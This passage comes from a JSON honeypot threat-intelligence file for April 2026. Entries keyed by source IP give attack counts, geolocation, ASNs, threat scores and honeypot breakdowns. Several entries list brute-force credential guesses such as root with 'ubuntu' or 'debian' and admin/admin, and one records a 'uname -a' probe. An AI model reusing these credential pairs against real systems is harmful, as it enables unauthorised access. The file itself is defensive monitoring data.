        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:43:53.353000+00:00",
        "last_seen_30d": "2026-04-11T00:38:04.191000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "66.132.195.126": {
      "attack_count": 18,
      "first_seen": "2026-04-13T00:22:15.097Z",
      "last_seen": "2026-04-30T20:31:27.391Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 88.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T10:25:31+00:00",
        "last_seen_30d": "2026-04-30T20:32:27.799000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Cowrie": 18,
        "ElasticPot": 6,
        "Honeytrap": 6,
        "CitrixHoneypot": 5,
        "Dionaea": 1
      }
    },
    "36.92.84.133": {
      "attack_count": 16,
      "first_seen": "2026-04-25T18:39:05.110Z",
      "last_seen": "2026-04-25T18:42:10.131Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T18:39:05.110000+00:00",
        "last_seen_30d": "2026-04-25T18:43:10.874000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "46.225.155.227": {
      "attack_count": 16,
      "first_seen": "2026-04-03T00:55:51.704Z",
      "last_seen": "2026-04-03T00:58:59.132Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:55:51.704000+00:00",
        "last_seen_30d": "2026-04-03T01:00:00.419000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "114.32.77.37": {
      "attack_count": 13,
      "first_seen": "2026-04-10T15:28:20.942Z",
      "last_seen": "2026-04-10T19:15:00.002Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech2023",
        "kelltech2026$"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:28:20.942000+00:00",
        "last_seen_30d": "2026-04-10T19:16:06.249000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "68.183.72.38": {
      "attack_count": 12,
      "first_seen": "2026-04-23T07:02:03.515Z",
      "last_seen": "2026-04-23T07:02:30.569Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T07:02:03.515000+00:00",
        "last_seen_30d": "2026-04-23T07:03:34.546000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "102.210.82.20": {
      "attack_count": 11,
      "first_seen": "2026-04-09T11:56:47.906Z",
      "last_seen": "2026-04-09T11:59:52.588Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Ivory Coast",
      "country_code": "CI",
      "city": null,
      "asn": 29571,
      "as_org": "ORANGE-COTE-IVOIRE",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T11:56:47.906000+00:00",
        "last_seen_30d": "2026-04-09T12:00:58.032000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "104.248.143.70": {
      "attack_count": 9,
      "first_seen": "2026-04-16T20:39:59.135Z",
      "last_seen": "2026-04-16T20:39:59.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 7,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-10T00:31:58.587000+00:00",
        "last_seen_30d": "2026-04-16T20:41:07.124000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 23,
        "Cowrie": 9
      }
    },
    "45.156.128.59": {
      "attack_count": 9,
      "first_seen": "2026-04-07T08:19:30.237Z",
      "last_seen": "2026-04-07T08:19:58.564Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 12.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 15,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T09:55:47+00:00",
        "last_seen_30d": "2026-04-17T14:13:23.227000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 9,
        "Honeytrap": 5
      }
    },
    "176.36.240.91": {
      "attack_count": 8,
      "first_seen": "2026-04-25T16:31:53.461Z",
      "last_seen": "2026-04-25T16:39:55.467Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 39608,
      "as_org": "Lanet Network Ltd",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T16:31:53.461000+00:00",
        "last_seen_30d": "2026-04-25T19:37:02.703000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "45.232.3.56": {
      "attack_count": 8,
      "first_seen": "2026-04-26T07:26:10.259Z",
      "last_seen": "2026-04-26T07:34:15.965Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "San Miguel de Tucum\u00e1n",
      "asn": 266754,
      "as_org": "SISTEMAS INFORMATICOS S.A.S. INTERFLASH",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T07:26:10.259000+00:00",
        "last_seen_30d": "2026-04-26T07:35:25.387000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "45.156.129.81": {
      "attack_count": 6,
      "first_seen": "2026-04-17T02:33:28.458Z",
      "last_seen": "2026-04-17T02:34:02.069Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T23:16:46+00:00",
        "last_seen_30d": "2026-04-30T00:13:31.344000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 32,
        "Cowrie": 6
      }
    },
    "66.132.224.233": {
      "attack_count": 6,
      "first_seen": "2026-04-10T08:30:37.772Z",
      "last_seen": "2026-04-10T08:31:22.588Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 26,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:34:35+00:00",
        "last_seen_30d": "2026-04-26T15:32:30.134000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 15,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 4,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "88.225.217.27": {
      "attack_count": 6,
      "first_seen": "2026-04-22T15:21:37.949Z",
      "last_seen": "2026-04-22T16:53:19.805Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T14:56:16.005000+00:00",
        "last_seen_30d": "2026-04-22T17:26:03.656000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6
      }
    },
    "103.85.72.144": {
      "attack_count": 5,
      "first_seen": "2026-04-28T00:33:48.431Z",
      "last_seen": "2026-04-28T00:33:50.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 152320,
      "as_org": "GOALNOW NETWORK TECHNOLOGY CO., LIMITED",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-27T21:02:16+00:00",
        "last_seen_30d": "2026-04-28T00:34:57.864000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "184.105.247.195": {
      "attack_count": 5,
      "first_seen": "2026-04-16T02:16:29.992Z",
      "last_seen": "2026-04-16T02:16:30.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:56:01+00:00",
        "last_seen_30d": "2026-04-30T13:54:33.221000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 169,
        "Honeytrap": 95,
        "Mailoney": 6,
        "Cowrie": 5,
        "Adbhoney": 4,
        "CitrixHoneypot": 2,
        "Dionaea": 1
      }
    },
    "13.222.161.63": {
      "attack_count": 4,
      "first_seen": "2026-04-28T00:52:38.002Z",
      "last_seen": "2026-04-28T00:52:42.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T00:52:53+00:00",
        "last_seen_30d": "2026-04-28T00:53:46.403000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "135.237.126.199": {
      "attack_count": 4,
      "first_seen": "2026-04-01T07:42:40.785Z",
      "last_seen": "2026-04-01T07:42:51.493Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 59.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 22.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 27,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:42:33.705000+00:00",
        "last_seen_30d": "2026-04-27T10:04:04.389000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Mailoney": 2
      }
    },
    "18.204.231.208": {
      "attack_count": 4,
      "first_seen": "2026-04-23T00:54:38.761Z",
      "last_seen": "2026-04-23T00:54:43.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T00:54:38.761000+00:00",
        "last_seen_30d": "2026-04-25T00:55:00.035000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "195.184.76.19": {
      "attack_count": 4,
      "first_seen": "2026-04-22T08:30:56.413Z",
      "last_seen": "2026-04-22T08:31:26.966Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 28,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:00:23+00:00",
        "last_seen_30d": "2026-04-28T21:39:12.273000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 13,
        "Cowrie": 4
      }
    },
    "195.184.76.197": {
      "attack_count": 4,
      "first_seen": "2026-04-14T20:09:09.185Z",
      "last_seen": "2026-04-14T20:09:09.700Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T16:04:29+00:00",
        "last_seen_30d": "2026-04-30T22:09:41.724000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 16,
        "Cowrie": 4
      }
    },
    "3.84.29.230": {
      "attack_count": 4,
      "first_seen": "2026-04-16T01:02:14.197Z",
      "last_seen": "2026-04-16T01:02:22.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-08T00:57:31+00:00",
        "last_seen_30d": "2026-04-29T00:55:55.865000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Honeyaml": 1
      }
    },
    "38.59.131.255": {
      "attack_count": 4,
      "first_seen": "2026-04-28T18:08:28.968Z",
      "last_seen": "2026-04-28T18:12:30.310Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tamazula de Gordiano",
      "asn": 265605,
      "as_org": "VELOCOM SA DE CV",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:08:28.968000+00:00",
        "last_seen_30d": "2026-04-28T18:22:36.354000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "4.247.141.61": {
      "attack_count": 4,
      "first_seen": "2026-04-21T20:28:38.650Z",
      "last_seen": "2026-04-21T20:29:15.043Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:28:38.650000+00:00",
        "last_seen_30d": "2026-04-21T20:30:16.785000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "59.103.104.4": {
      "attack_count": 4,
      "first_seen": "2026-04-09T08:40:04.949Z",
      "last_seen": "2026-04-09T08:40:30.440Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T08:40:04.949000+00:00",
        "last_seen_30d": "2026-04-09T08:41:40.522000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.218": {
      "attack_count": 4,
      "first_seen": "2026-04-17T06:22:08.260Z",
      "last_seen": "2026-04-17T06:22:23.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T01:00:34+00:00",
        "last_seen_30d": "2026-04-30T15:09:42.260000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 42,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "66.132.195.56": {
      "attack_count": 4,
      "first_seen": "2026-04-30T04:31:25.793Z",
      "last_seen": "2026-04-30T04:31:40.848Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
